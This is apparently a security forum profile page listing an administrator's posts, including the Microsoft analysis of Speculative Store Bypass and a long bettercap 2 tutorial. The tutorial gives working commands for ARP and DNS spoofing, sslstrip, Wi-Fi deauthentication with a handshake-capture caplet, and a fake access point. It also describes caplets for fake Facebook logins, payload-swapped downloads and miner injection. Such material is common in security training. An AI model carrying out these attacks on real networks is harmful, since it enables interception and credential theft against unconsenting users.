Jump to content

Nytro

Administrators
  • Posts

    18725
  • Joined

  • Last visited

  • Days Won

    707

Everything posted by Nytro

  1. Added support for PCAP files: https://github.com/NytroRST/NetRipper
  2. Din cate am inteles, nu e tocmai ceva nou, dar a fost "redescoperit". Se pare ca astfel de probleme exista de prin '90.
  3. La Linkedin s-a schimbat ceva dupa ce a fost cumparat? Mai exact, de exemplu pe mine, utilizator de rand cu repo-uri publice, ma va afecta cu ceva aceasta schimbare? Pareri?
  4. Se pare ca s-au deschis inregistrarile pentru Defcamp 2018: https://def.camp/tickets/ De asemenea, va puteti inscrie la Call for Papers, daca doriti sa prezentati. https://def.camp/call-for-papers/ Daca sunt intrebari, va poate ajuta @Andrei
  5. Cui ii pasa de el... Ia zi-ne, tonomatul de cafea e bine?
  6. Understanding Java deserialization Some time ago I detailed PHP Object Injection vulnerabilities and this post will get into details of Java deserialization vulnerabilities. The concept is simple: developers use a feature of the programming language, serialization, to simplify their job, but they are not aware about the risks. Java deserialization is a vulnerability similar to deserialization vulnerabilities in other programming languages. This class of vulnerabilities came to life in 2006, it become more common and more exploited and it is now part of the OWASP Top 10 2017. Sursa: https://nytrosecurity.com/2018/05/30/understanding-java-deserialization/
      • 2
      • Upvote
  7. Buhuuuuu, aici... pe RSTTTT, sunteti controlati de catre noooooi. O sa faceti tot ce spunem nooooi! Buhuhu.
  8. E am un Asus RoG de cativa ani si inca e super OK. - i7 (seria de atunci) - 256 SSD - Trebuie sa iei ceva neaparat cu SSD - 756 HDD (7200rpm) - GTX 770M - Nu e tocmai cine stie ce, dar nici nu am nevoie Ia mai bine nou. La 4000-5000 RON gasesti multe bune.
  9. Websocket Fuzzer A simple websocket fuzzer for application penetration testing. Two tools are provided: websocket-fuzzer.py: Receives a websocket message, modifies it, and then sends it in different connections. The response is analyzed to find potential vulnerabilities. send-one-message.py: Sends a websocket message using a new connection Both tools require considerable customization to be used. Please read the source code comments in both files to better understand all the parameters. Installation and usage pip install -r requirements.txt # edit send-one-message.py python send-one-message.py In most cases you'll want to use a proxy, such as OWASP ZAP or Burp Suite, to analyze the websocket traffic generated by these tools. Both tools support proxying the websocket traffic. The workflow for these tools is fairly simple: Use send-one-message.py to define most of the variables, make sure that authentication is working, etc. Confirm all this with the logs and traffic seen in the local proxy. Move the send-one-message.py configuration to websocket-fuzzer.py and customize the remaining parameters. Start the process and confirm that the fuzzer is sending what you expect. Customize the payloads which are sent to the target using payloads/payloads.txt Analyze the logs using grep to find specific things you're looking for. The tool will try to identify issues for you and log them with Potential issue found in connection with ID Authentication The tools support authenticating using user-defined websocket messages. These messages are sent before the ones with the payloads. Logging All messages are logged to a user-defined directory. Each connection is logged to a different file. Detailed logging is very important for this tool, since it allows the user to run grep on the output to find interesting things. Fuzzing The tool was developed for fuzzing websocket applications which use JSON as a serialization method. If this is not the case for you, please customize the following functions: * `create_tokenized_messages` * `replace_token_in_json` Sursa: https://github.com/andresriancho/websocket-fuzzer
  10. 1. Introduction ................................................................................................................................. 1 2. Research Description .................................................................................................................. 2 2.1 Infotainment System ......................................................................................................... 3 2.1.1 USB Interface......................................................................................................... 5 2.1.2 E-NET over OBD-II .............................................................................................. 6 2.1.3 Bluetooth Stack ...................................................................................................... 7 2.1.4 ConnectedDrive Service ........................................................................................ 8 2.1.5 K-CAN Bus ............................................................................................................ 9 2.2 Telematics Control Unit .................................................................................................... 9 2.2.1 Remote Service with NGTP................................................................................. 12 2.2.2 Remote Diagnosis ................................................................................................ 12 2.3 Central Gateway Module ................................................................................................ 12 2.3.1 Cross-Domain Diagnostic Messages ................................................................... 14 2.3.2 Lack of High Speed Limit on UDS...................................................................... 14 3. Vulnerability Findings .............................................................................................................. 15 4. Attack Chains ............................................................................................................................ 16 4.1 Contacted Attack ............................................................................................................. 17 4.2 Contactless Attack .......................................................................................................... 17 4.2.1 Bluetooth Channel ............................................................................................... 17 4.2.2 Cellular Network .................................................................................................. 18 5. Vulnerable BMW Models ......................................................................................................... 19 6. Disclosure Process .................................................................................................................... 21 7. Conclusion ................................................................................................................................ 22 Download: https://keenlab.tencent.com/en/Experimental_Security_Assessment_of_BMW_Cars_by_KeenLab.pdf
  11. Analysis and mitigation of speculative store bypass (CVE-2018-3639) swiat May 21, 2018 In January, 2018, Microsoft published an advisory and security updates for a new class of hardware vulnerabilities involving speculative execution side channels (known as Spectre and Meltdown). In this blog post, we will provide a technical analysis of an additional subclass of speculative execution side channel vulnerability known as Speculative Store Bypass (SSB) which has been assigned CVE-2018-3639. SSB was independently discovered by Ken Johnson of the Microsoft Security Response Center (MSRC) and Jann Horn (@tehjh) of Google Project Zero (GPZ). This post is primarily geared toward security researchers and engineers who are interested in a technical analysis of SSB and the mitigations that are relevant to it. If you are interested in more general guidance, please refer to our advisory for Speculative Store Bypass and our knowledge base articles for Windows Server, Windows Client, and Microsoft cloud services. Please note that the information in this post is current as of the date of this post. TL;DR Before diving into the technical details, below is a brief summary of the CPUs that are affected by SSB, Microsoft’s assessment of the risk, and the mitigations identified to date. What is affected? AMD, ARM, and Intel CPUs are affected by CVE-2018-3639 to varying degrees. What is the risk? Microsoft currently assesses the risk posed by CVE-2018-3639 to our customers as low. We are not aware of any exploitable instances of this vulnerability class in our software at this time, but we are continuing to investigate and we encourage researchers to find and report any exploitable instances of CVE-2018-3639 as part of our Speculative Execution Side Channel Bounty program. We will adapt our mitigation strategy for CVE-2018-3639 as our understanding of the risk evolves. What is the mitigation? Microsoft has already released mitigations as part of our response to Spectre and Meltdown that are applicable to CVE-2018-3639 in certain scenarios, such as reducing timer precision in Microsoft Edge and Internet Explorer. Software developers can address individual instances of CVE-2018-3639 if they are discovered by introducing a speculation barrier instruction as described in Microsoft’s C++ developer guidance for speculative execution side channels. Microsoft is working with CPU manufacturers to assess the availability and readiness of new hardware features that can be used to resolve CVE-2018-3639. In some cases, these features will require a microcode or firmware update to be installed. Microsoft plans to provide a mitigation that leverages the new hardware features in a future Windows update. Speculative Store Bypass (SSB) overview In our blog post on mitigating speculative execution side channel hardware vulnerabilities, we described three speculation primitives that can be used to create the conditions for a speculative execution side channel. These three primitives provide the fundamental methods for entering speculative execution along a non-architectural path and consist of conditional branch misprediction, indirect branch misprediction, and exception delivery or deferral. Speculative Store Bypass (SSB) belongs to a new category of speculation primitive that we refer to as memory access misprediction. SSB arises due to a CPU optimization that can allow a potentially dependent load instruction to be speculatively executed ahead of an older store. Specifically, if a load is predicted as not being dependent on a prior store, then the load can be speculatively executed before the store. If the prediction is incorrect, this can result in the load reading stale data and possibly forwarding that data onto other dependent micro-operations during speculation. This can potentially give rise to a speculative execution side channel and the disclosure of sensitive information. To illustrate how this might occur, it may help to consider the following simple example. In this example, RDI and RSI are assumed to be equal to the same address on the architectural path. 01: 88040F mov [rdi+rcx],al 02: 4C0FB6040E movzx r8,byte [rsi+rcx] 03: 49C1E00C shl r8,byte 0xc 04: 428B0402 mov eax,[rdx+r8] In this example, the MOV instruction on line 1 may take additional time to execute (e.g. if the computation of the address expression for RDI+RCX is waiting on prior instructions to execute). If this occurs, the CPU may predict that the MOVZX is not dependent on the MOV and may speculatively execute it ahead of the MOV that performs the store. This can result in stale data from the memory located at RSI+RCX being loaded into R8 and fed to a dependent load on line 4. If the byte value in R8 is sensitive, then it may be observed through a side channel by leveraging a cache-based disclosure primitive such as FLUSH+RELOAD (if RDX refers to shared memory) or PRIME+PROBE. The CPU will eventually detect the misprediction and discard that state that was computed, but the data that was accessed during speculation may have created residual side effects in the cache by this point that can then be measured to infer the value that was loaded into R8. This example is simplified for the purposes of explaining the issue, but it is possible to imagine generalizations of this concept that could occur. For example, it may be possible for similar sequences to exist where SSB could give rise to a speculative out-of-bounds read, type confusion, indirect branch, and so on. We have revised our C++ Developer Guidance for Speculative Execution Side Channels to include additional examples of code patterns and conditions that could give rise to an instance of CVE-2018-3639. In practice, finding an exploitable instance of CVE-2018-3639 will require an attacker to identify an instruction sequence where: The sequence is reachable across a trust boundary, e.g. an attacker in user mode can trigger the sequence in kernel mode through a system call. The sequence contains a load instruction that is architecturally dependent on a prior store. The stale data that is read by the load instruction is sensitive and is used in a way that can create a side channel on the non-architectural path, e.g. the data feeds a disclosure gadget. The store instruction does not execute before the load and the dependent instructions that compose the disclosure gadget are speculatively executed. While our research into this new vulnerability class is ongoing, we have not identified instruction sequences that satisfy all of the above criteria and we are currently not aware of any exploitable instances of CVE-2018-3639 in our software. In the case of Just-in-Time (JIT) compilers, such as JavaScript JIT employed by modern web browsers, it may be possible for an attacker to supply JavaScript that produces native code that satisfies the criteria above. However, Microsoft Edge, Internet Explorer, and other major browsers have taken steps to reduce the precision of timers to increase the difficulty of successfully creating a side channel. Mitigations for Speculative Store Bypass (SSB) There are multiple mitigations that are applicable to SSB. In our previous blog post on mitigating speculative execution side channels, we characterized the software security models that can generally be at risk and the various tactics for mitigating speculative execution side channels. We will reuse the previously established terminology from that post to frame the mitigation options available for SSB. Relevance to software security models The following table summarizes the potential relevance of SSB to the various intra-device attack scenarios that software security models are typically concerned with. As with CVE-2017-5753 (Spectre variant 1), SSB is theoretically applicable to each attack scenario as indicated by the orange cells (grey cells indicate not applicable). Attack Category Attack Scenario Conditional branch misprediction Indirect branch misprediction Exception delivery or deferral CVE-2018-3639 (SSB) Inter-VM Hypervisor-to-guest Host-to-guest Guest-to-guest Intra-OS Kernel-to-user Process-to-process Intra-process Enclave Enclave-to-any Preventing speculation techniques involving SSB As we’ve noted in the past, one of the best ways to mitigate a vulnerability is by addressing the issue as close to the root cause as possible. In the case of SSB, there are a few techniques that can be used to prevent speculation techniques that rely on SSB as the speculation primitive. Speculation barrier via serializing instruction As with CVE-2017-5753 (Spectre variant 1), it is possible to mitigate SSB by using an instruction which is architecturally defined to serialize execution, thus acting as a speculation barrier. In the case of SSB, a serializing instruction (such as an LFENCE on x86/x64 and SSBB on ARM) can be inserted between the store instruction and the load that could be speculatively executed ahead of the store. For example, inserting an LFENCE on line 2 mitigates the simplified example from this post. Additional information can be found in the C++ Developer Guidance for Speculative Execution Side Channels. 01: 88040F mov [rdi+rcx],al 02: 0FAEE8 lfence 03: 4C0FB6040E movzx r8,byte [rsi+rcx] 04: 49C1E00C shl r8,byte 0xc 05: 428B0402 mov eax,[rdx+r8] Speculative store bypass disable (SSBD) In some cases, CPUs can provide facilities for inhibiting a speculative store bypass from occurring and can therefore offer a categorical mitigation for SSB. AMD, ARM, and Intel have documented new hardware features that can be used by software to accomplish this. Microsoft is working with AMD, ARM, and Intel to assess the availability and readiness of these features. In some cases, these features will require a microcode or firmware update to be installed. Microsoft plans to provide a mitigation that leverages the new hardware features in a future Windows update. Generally applicable mitigations for SSB There are a number of previously described mitigations that are also generally applicable to SSB. These include mitigations that involve removing sensitive content from memory or removing observation channels. Generally speaking, the mitigation techniques for these two tactics that are effective against CVE-2017-5753 (Spectre variant 1) are also applicable to SSB. Applicability of mitigations The complex nature of these issues makes it difficult to understand the relationship between mitigations, speculation techniques, and the attack scenarios to which they apply. This section provides tables to help describe these relationships. Some of the mitigation techniques mentioned in the tables below are described in our previous blog post on this subject. The legend for the tables that follow is: Applicable Not applicable Mitigation relationship to attack scenarios The following table summarizes the relationship between attack scenarios and applicable mitigations. Mitigation Tactic Mitigation Name Inter-VM Intra-OS Enclave Prevent speculation techniques Speculation barrier via execution serializing instruction Security domain CPU core isolation Indirect branch speculation barrier on demand and mode change Non-speculated or safely-speculated indirect branches Speculative Store Bypass Disable (SSBD) Remove sensitive content from memory Hypervisor address space segregation Split user and kernel page tables (“KVA Shadow”) Remove observation channels Map guest memory as noncacheable in root extended page tables Do not share physical pages across guests Decrease browser timer precision Mitigation relationship to variants The following table summarizes the relationship among SSB and the Spectre and Meltdown variants, and applicable mitigations. Mitigation Tactic Mitigation Name CVE-2017-5753 (variant 1) CVE-2017-5715 (variant 2) CVE-2017-5754 (variant 3) CVE-2018-3639 (SSB) Prevent speculation techniques Speculation barrier via execution serializing instruction Security domain CPU core isolation Indirect branch speculation barrier on demand and mode change Non-speculated or safely-speculated indirect branches Speculative Store Bypass Disable (SSBD) Remove sensitive content from memory Hypervisor address space segregation Split user and kernel page tables (“KVA Shadow”) Remove observation channels Map guest memory as noncacheable in root extended page tables Do not share physical pages across guests Decrease browser timer precision Wrapping up In this post, we analyzed a new class of speculative execution side channel hardware vulnerabilities known as Speculative Store Bypass (SSB). This analysis provided the basis for evaluating the risk associated with this class of vulnerability and the mitigation options that exist. As we noted in our previous post, research into speculative execution side channels is ongoing and we will continue to evolve our response and mitigations as we learn more. While we currently assess the risk of SSB as low, we encourage researchers to help further our understanding of the true risk and to report any exploitable instances of CVE-2018-3639 that may exist as part of our Speculative Execution Side Channel bounty program. Matt Miller Microsoft Security Response Center (MSRC) Sursa: https://blogs.technet.microsoft.com/srd/2018/05/21/analysis-and-mitigation-of-speculative-store-bypass-cve-2018-3639/
  12. bettercap 2.x: how to install and use in Kali Linux Table of contents 1. Difference between bettercap 2 and bettercap 1.6 2. How to install bettercap 2 in Kali Linux 3. Download and install the latest version of bettercap 4. bettercap usage guide 4.1 Local network monitoring 4.2 Interactive and non-interactive mode. The -eval and -caplet options. Caplets 4.3 How to run spoofing and sniffing in bettercap 4.4 Transparent HTTP proxy 4.5 DNS spoofing in bettercap 4.6 Built-in web server in bettercap 4.7 Wi-Fi networks monitoring 4.8 Capture handshakes in bettercap 4.9 Creating a fake access point 5. Review of bettercap caplets 5.1 BeEF hooking 5.2 Miner injection 5.3 Replacing the uploaded file with the payload 5.4 Stealing Facebook passwords 5.5 Collection of HTTP requests 5.6 Collection of logins and passwords with invisible forms 5.7 Redirect IPv4 DNS queries using DHCPv6 responses 5.8 Testing the http.proxy script 5.9 Passwords sniffer 5.10 Changing the prompt of the interactive bettercap session 5.11 Changing the contents of requested web pages 6. Installing bettercap from the source code in Kali Linux Conclusion Difference between bettercap 2 and bettercap 1.6 At the end of February 2018, bettercap 2 was released and since then this version is actively developing, new functions are added to it. bettercap 1.6 is deprecated and no longer supported. In the latest versions of bettercap, there are a lot of changes: the program was re-written in another programming language, instead of Ruby, using Go. Thanks to the change in language and other methods, productivity increased dramatically, optimized CPU and memory usage. The model of interaction with the program has changed: before it was a command line utility, various options were used while launching. A new version can also be run in a non-interactive mode, using options, but now an interactive mode is available, as well as an API. Even the purpose of the program has changed: it used to be a modular platform for implementing complex man-in-the-middle attacks, now, in addition to supporting man-in-the-middle attacks, there is also functionality for network monitoring, 802.11 and BLE wireless networks monitoring and attacking . The program functions became more atomized, for example, to launch the most common middle-man attack, consisting of ARP spoofing and sniffing, now you need to enter several commands (there was only one option before). This increases the flexibility of program usage, but at the same time complicates usage. To automate the work of the program and simplify the usage, ones can use caplets that control the work of bettercap and its modules. Examples of caplets are collected in the repository https://github.com/bettercap/caplets. And this is not even all the changes! It's worth mentioning that native Go plug-ins are supported (via the package.proxy module), some modules support the JavaScript scripting language for data manipulating and controlling the behavior of the program, and the program itself and its caplets support native system commands. In general, it's just another program, in which everything is new. How to install bettercap 2 in Kali Linux In the Kali Linux repositories, there is bettercap already, but at the time of writing there is an outdated 1.6.2 version. To check which version of bettercap is currently available for installation from official repositories, run: 1 apt-cache show bettercap | grep 'Version: ' If there is version 2.x, then you just need to install it: 1 sudo apt install bettercap Download and install the latest version of bettercap Remove the outdated version of bettercap if it was installed earlier: 1 2 sudo apt remove bettercap sudo rm /usr/local/bin/bettercap Fix for an already installed library: 1 ln -s /usr/lib/x86_64-linux-gnu/libpcap.so.1.8.1 /usr/lib/x86_64-linux-gnu/libpcap.so.1 Download the archive with the binary file of bettercap latest version: 1 wget "https://github.com`curl -s https://github.com/bettercap/bettercap/releases | grep -E -o '/bettercap/bettercap/releases/download/v[0-9.]+/bettercap_linux_amd64_[0-9.]+zip' | head -n 1`" We unpack, move, clean and check: 1 2 3 4 unzip bettercap_linux_amd64_*zip sudo mv bettercap /usr/local/bin/ rm README.md LICENSE.md bettercap_linux_amd64_*.zip bettercap -h Installing bettercap from the source code will be discussed at the end of the article. bettercap usage guide Now the main functional feature of bettercap is not only the man in a middle attacks. Thanks to caplets and scripts, it is possible to implement a variety of phishing attacks and attacks based on data manipulation, the starting point of which is a man-in-the-middle attack. For this reason, it's not easy to write exhaustive manual for bettercap. To approximate the possibilities of the program, read the documentation, and also get acquainted with the repository of caplets: many of them have comments in the source code that help to understand what the program will do exactly. In the following, very simple examples of starting bettercap will be considered. Let's start with using an interactive session, to do this, run bettercap: 1 sudo bettercap Local network monitoring To list the detected hosts on the local network, type: 1 net.show This is a passive method of monitoring, since the search for hosts is based on reading of the ARP cache. To exit the program, type q or press CTRL+z. And the net.probe module actively searches for hosts, sending dummy UDP packets to every possible IP in the subnet. To enable this module: 1 net.probe on We look at the detected hosts: 1 net.show This is an active method since network analyzers will see that a computer with bettercap massively sends packets. With bettercap, you can continuously monitor the network status by obtaining on-screen data in real-time, for this, run sequentially: 1 2 net.probe on ticker on The first net.probe on command, as we found out a little earlier, enable an active search for hosts, and the second command is used to execute a given set of commands periodically. Since we did not specify which commands to execute, the default executed commands are clear; net.show, the result is an interesting effect: in the background it is constantly searching for hosts, and information is displayed on the screen in real time. Interactive and non-interactive mode. The -eval and -caplet options. Caplets If you are uncomfortable to run bettercap interactively every time, you can use the -eval option, after which specify the commands that you want to run. For example, the previous example is equivalent to this: 1 sudo bettercap -eval "net.probe on; ticker on" Right in the interactive session, bettercap, you can execute the system commands. For example, the following set of commands checks if there is a connection to the WAN: 1 ping -c 1 google.com >/dev/null 2>&1 && echo "Connected" || echo "Not connected" This same command (set of commands) can be performed right in the interactive session, just before the first command put an exclamation mark: 1 !ping -c 1 google.com >/dev/null 2>&1 && echo "Connected" || echo "Not connected" Now we will monitor local network and Internet access availability. We launch an active search for local hosts: 1 net.probe on We set the value of the ticker.commands variable, there are now three commands: two are already known bettercap internal commands (these are clear; net.show;) and one more is the set of system commands: 1 set ticker.commands 'clear; net.show; !ping -c 1 google.com >/dev/null 2>&1 && echo "Connected" || echo "Not connected"' If desired, you can increase the period to three seconds (the default is one second): 1 set ticker.period 3 Run the task cyclically: 1 ticker on In the results of execution, pay attention to the new ‘Connected’ line: Using the -eval option, you can run this all in this way: 1 sudo bettercap -eval 'net.probe on; set ticker.commands "clear; net.show; !ping -c 1 google.com >/dev/null 2>&1 && echo "Connected" || echo "Not connected""; set ticker.period 3; ticker on' But in addition to the -eval option, there is also the -caplet option, which also allows you to run the program with the specified commands. Let's create our first caplet. To do this, create a text file named netmon.cap (you can choose any name): 1 gedit netmon.cap And just copy all our commands to it, which we entered in the interactive session, we should get the following file: 1 2 3 4 5 net.probe on # Note the absence of quotes in this example and the quotes in the previous ones: set ticker.commands clear; net.show; !ping -c 1 google.com >/dev/null 2>&1 && echo "Connected" || echo "Not connected" set ticker.period 3 ticker on Now run bettercap with the -caplet option, after which we'll specify the path to the file with a caplet: 1 sudo bettercap -caplet ./netmon.cap How to run spoofing and sniffing in bettercap Let's start with the launch of ARP spoofing: 1 arp.spoof on By default, the attack is performed on the entire subnet, so if ARP spoofing works poorly, set the IP targets using the arp.spoof.targets variable. Its value can be one IP or several IPs separated by a comma, for example: 1 set arp.spoof.targets 192.168.0.90 To see all available host in your local network: 1 net.show Values of variables must be set before the corresponding module is run. If you need to change the value of a variable of an already running module, stop the module, set the new value and restart the module, for example: 1 2 3 arp.spoof off set arp.spoof.targets 192.168.0.90 arp.spoof on For the sniffer, if desired, you can reduce the level of verbality: 1 set net.sniff.verbose false Run the sniffer: 1 net.sniff on Transparent HTTP proxy To analyze HTTP traffic, you must enable http.proxy. If it is used in conjunction with spoofing, all HTTP traffic will be redirected to it and, if necessary, it will automatically handle port forwarding. If you want to use sslstrip, you must change the value of the http.proxy.sslstrip variable, which is set to false by default: 1 set http.proxy.sslstrip true To enable transparent HTTP proxy: 1 http.proxy on A full list of commands for attacking the local IP 192.168.0.90, as a result, continuous ARP spoofing of this address will be performed, which will cause the traffic to be redirected to the attacker's machine, to a transparent HTTP proxy, where, if possible, downgrade from HTTPS to HTTP will be performed using sslstrip, the verbality of the sniffer is lowered to show really important data: 1 2 3 4 5 6 set http.proxy.sslstrip true set net.sniff.verbose false set arp.spoof.targets 192.168.0.90 arp.spoof on http.proxy on net.sniff on To attack the whole subnet, skip the set arp.spoof.targets IP line. DNS spoofing in bettercap The DNS query is replaced by the dns.spoof module. You can configure it before starting it. By default, all domains will be spoofed, if you want to change this, then set them by the value of the dns.spoof.domains variable as comma separated list. For example, I want to spoof only two domains suip.biz and mi-al.ru, then: 1 set dns.spoof.domains suip.biz, mi-al.ru By default, DNS server send IP pointing to the interface address of the machine on which bettercap is launched. The IP address changes through the dns.spoof.address variable: 1 set dns.spoof.address desired_IP This module will only respond to requests that target the local PC; to respond to everything, set the value of the dns.spoof.all variable to true: 1 set dns.spoof.all true To run the module: 1 dns.spoof on Built-in web server in bettercap To process requests to the web server, you can use the server installed on your system, for example, Kali Linux has Apache and you just have to run it: 1 systemctl start apache2 Bettercap also has a built-in simple web server that can render HTML pages and other static files, such as JavaScript, CSS, pictures, etc. You must specify the address of the server folder by changing the value of the http.server.path variable : 1 set http.server.path /path/to/folder To start the web server (the system server, for example, Apache, should be stopped, because there may be a conflict due to the fact that different programs try to listen on the same port): 1 http.server on Wi-Fi networks monitoring This is a new bettercap feature. By the way, Bluetooth Low Energy support has also been added. To work with Wi-Fi, you need to use the -iface option, after which you can specify the name of the wireless interface: 1 sudo bettercap -iface wlan0 In the event that you will have errors raised by the previous command, for example: 1 2 Can't restore interface wlan0 wireless mode (SIOCSIWMODE failed: Bad file descriptor). Please adjust manually. Then quit bettercap and manually set the wireless interface to monitor mode. For example, as follows: 1 2 3 sudo ip link set wlan0 down sudo iw wlan0 set monitor control sudo ip link set wlan0 up Now that the wireless interface is in monitor mode, run bettercap again and enter the command: 1 wifi.recon on It starts Wi-Fi devices detection: If you want to limit to monitoring only certain channels, then execute a command like this (it sets the jumping only on the first three channels): 1 wifi.recon.channel 1,2,3 By the way, if later you need to clear the list of channels (make the program jumps on all channels), then the following command is used for this: 1 wifi.recon.channel clear To display the results, type: 1 wifi.show The next set of commands will start gathering information about Wi-Fi devices, will display a table with a full list of detected access points, as well as a list of the last 20 detections: 1 2 3 set ticker.commands 'clear; wifi.show; net.show; events.show 20' wifi.recon on ticker on Capture handshakes in bettercap Yes, bettercap now knows how to do this, and also knows how to perform the deauthentication attack. If we want to capture a handshake from a specific access point, then we need to know the channel on which it works. This is enough if we are going to passively wait for the client to connect/reconnect to the AP. To perform the deauthentication attack, we need to know the BSSID of the access point (in this case, the attack will be performed against all clients) or the BSSID of the client (in this case, the attack will be performed against one client). Let's start with the sniffer configuration. Let's make it verbal: 1 set net.sniff.verbose true Set up the filter for the handshake frames: 1 set net.sniff.filter ether proto 0x888e We set up saving the received data to the wpa.pcap file: 1 set net.sniff.output /root/wpa.pcap Run the sniffer: 1 net.sniff on The Sniffer is run the same way every time. The further values of the variables depend on the target being attacked. The target I want to attack is working on channel 8, so I set the channel: 1 wifi.recon.channel 8 Run the network analysis: 1 wifi.recon on I'm interested in AP with BSSID 50:46:5d:6e:8c:20, I can enable the filter: 1 wifi.recon 50:46:5d:6e:8c:20 The following two commands are optional, they will periodically clear the screen and display a table with the seen base stations (you can see if there are any clients at the attacked Access Points), if you do not want to, skip these commands: 1 2 set 'ticker.commands clear; wifi.show' ticker on We proceed to deauthentication. The attack can be performed in two forms: 1 wifi.deauth AP-BSSID or: 1 wifi.deauth CLIENT-BSSID In the first case, all clients will be deauthenticated, in the second case, only a specified client will be deauthenticated. I want to deauthenticate all access point clients, then my command: 1 wifi.deauth 50:46:5d:6e:8c:20 A file with captured frames can be opened for verification in Wireshark: To filter out handshakes, use the filter: 1 llc.type == 0x888e Or the filter: 1 eapol In addition to bettercap, there are already enough programs that can capture handshakes. The advantage of bettercap is that we can automate the process. For example, the following command checks the capture file and displays information about the handshake(s) if they are found there: 1 tshark -r /root/wpa.pcap -R 'eapol' -2 2>/dev/null A little more verbal command: 1 if [ "`tshark -r /root/wpa.pcap -R 'eapol' -2 2>/dev/null`" ]; then echo "Got handshake!"; else echo "Nothing"; fi; We need the previous command to write a caplet, which will work according to the following logic: when started, launches a sniffer to capture a handshake launches deauthentication attack checks whether the handshake was captured if the handshake is captured - shutdown bettercap if the handshake is not captured, return to step 2 For this, I create a file HS_capture_50465d6e8c20.cap with the following contents: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 # Setting up the sniffer set net.sniff.verbose true set net.sniff.filter ether proto 0x888e set net.sniff.output /root/wpa.pcap net.sniff on # Configuring and starting the analysis of wireless networks; channel and BSSID replace with your values wifi.recon.channel 8 wifi.recon on sleep 20 wifi.recon 50:46:5d:6e:8c:20 # Performing the deauthentication attack, sleeping for 60 seconds, checking if a handshake was captured, # if yes, then quitting bettercap. # Note that if you changed the name of the file where the handshake is saved, you also need to change # it here - /root/wpa.pcap, and also replace BSSID with the attacked AP set ticker.commands wifi.deauth 50:46:5d:6e:8c:20; sleep 60; !'if [ "`tshark -r /root/wpa.pcap -R 'eapol' -2 2>/dev/null`" ]; then echo "Got handshake! Quit."; sleep 1; pkill -1 bettercap; else echo "Yet not captured"; fi;' # Period of the cycle - only one second is set here, because in the previous set of commands there is a sleep 60; # which sets the sleep for 60 seconds: set ticker.period 1 # Run cyclic execution of commands ticker on Running bettercap 1 sudo bettercap -iface wlan0 -caplet ./HS_capture_50465d6e8c20.cap The program will work until it grabs the handshake. But after grabbing a handshake, bettercap will finish its work and no longer bother network clients. Creating a fake access point Among the Wi-Fi functions, it is possible to create a fake access point with or without encryption. Create a fake access point "Banana" with BSSID DE:AD:BE:EF:DE:AD on channel 5 without encryption: 1 2 3 4 5 set wifi.ap.ssid Banana set wifi.ap.bssid DE:AD:BE:EF:DE:AD set wifi.ap.channel 5 set wifi.ap.encryption false wifi.recon on; wifi.ap As you can see, there is a lot of options for automation and various combined attacks, including automated attacks based on social engineering. Review of bettercap caplets As already mentioned, the caplets are placed in the official repository. There are some very simple examples that automate several typical actions, and quite complex implementations of modern attacks. BeEF hooking BeEF is a platform for web browsers exportation. To start, you need to embed the JavsScript code in a web page. The beef-passive.cap and beef-active.cap do just that. The beef-inject.js file controls the insertion, so if you want to change the address or port of the Javscript file, you need to edit this file. Before starting this attack, you need to start the BeEF service, or edit the caplets by adding the appropriate command. The first caplet insert the JavsScript file passively, the second one is active, using traffic redirection from other hosts using ARP spoofing. Miner injection crypto-miner.cap inject the miner. You need to enter your own key by editing the crypto-miner.js file. Replacing the uploaded file with the payload This module lets you intercept very specific download requests and replaces with the payload of your choice. In order for a download to get intercepted: 1. the victim's user-agent string must match the downloadautopwn.useragent.x regexp value 2. the requested file must match one of the downloadautopwn.extensions.x file extensions you can find the downloadautopwn.devices in the caplets/download-autopwn/ folder (you can add your own) The configuration is performed in download-autopwn.cap. In the pair is a download-autopwn.js file, which is NOT intended for implementation in the browser, it is used as a script for the http.proxy module (that is, it manages bettercap behavior and traffic manipulation). If someone uploaded a payload: Stealing Facebook passwords The fb-phish.cap applet shows a fake Facebook login page on port 80, interrupts login attempts using http.proxy, prints credentials, and redirects the target to a real Facebook. In the pair there is a fb-phish.js file, which is a script for the http.proxy module. You need to take care of creating a fake login page and starting the server. In this you will be helped by the Makefile file with the instructions (if you have the caplet repository downloaded, at the Bash command line execute): 1 2 cd caplets/www/ make Then in bettercap: 1 2 3 4 5 6 7 set http.server.address 0.0.0.0 set http.server.path caplets/www/www.facebook.com/ set http.proxy.script caplets/fb-phish.js http.proxy on http.server on Collection of HTTP requests Execute an ARP spoofing attack on the whole network (by default) or on a host (using -eval as described), intercept HTTP and HTTPS requests with the http.proxy and https.proxy modules and dump them using the http-req-dumsp.js proxy script. Collection of logins and passwords with invisible forms The essence of the attack is as follows: if on a web site you previously entered a login and password, then if there is a form on the page, the browser automatically fills in the data entered earlier. Firefox does this right away, Chrome requires any user interaction - for example, clicking anywhere on the web page. This form can be invisible. So, the attacker injects onto the site pages an invisible form into which the browser itself enters the login and password, the form transmits data to the attacker. This is implemented in the login-man-abuse.cap caplet. There is a demo page where you can see an example of the attack: enter any e-mail and password, then you will be transferred to another page that "guesses" what you entered earlier. Redirect IPv4 DNS queries using DHCPv6 responses Description of the attack: https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/ The approximate essence is that in modern versions of Windows, the system is set to give preference to IPv6. The attacker responds with DHCPv6 messages, provides the link-local IPv6 address and specifies the attacker's host as the DNS server. Next, DNS spoofing attack is performed. The attack is implemented in mitm6.cap. Testing the http.proxy script The proxy-script-test.cap plugin will help you test JavaScript script work. In the pair there is a proxy-script-test.js file. Passwords sniffer simple-passwords-sniffer.cap caplet is a really very simple example of data searching based on regular expression. It uses commands: 1 2 set net.sniff.regexp .*password=.+ set net.sniff.output passwords.cap Changing the prompt of the interactive bettercap session You can customize the prompt to which you enter commands. Including you can show in it useful information. An example with statistics output is contained in test-prompt-stats.cap. Changing the contents of requested web pages The web-override.cap caplet overwrites any loaded page with the one the attacker specified. The pair is the web-override.js file, this is the http.proxy module, and it describes the actions that are performed, for example, which page to display. You can write your own caplets, if you want, you can offer interesting examples to add to the repository. Installing bettercap from the source code in Kali Linux You must install the Go compiler. Open the .bashrc file in the user directory with any text editor: 1 gedit ~/.bashrc And to create new environment variables, add the following lines to this file: 1 2 3 echo 'export GOPATH=/home/git/go' >> ~/.bashrc echo 'export GOROOT=/usr/local/src/go' >> ~/.bashrc echo 'export PATH=${PATH}:$GOROOT/bin' >> ~/.bashrc When you are ready, save your changes and close the file. These changes will take effect after the reboot. Instead of restarting the computer, run: 1 source ~/.bashrc The following command automatically detects and downloads the latest version of the Go language files: 1 wget 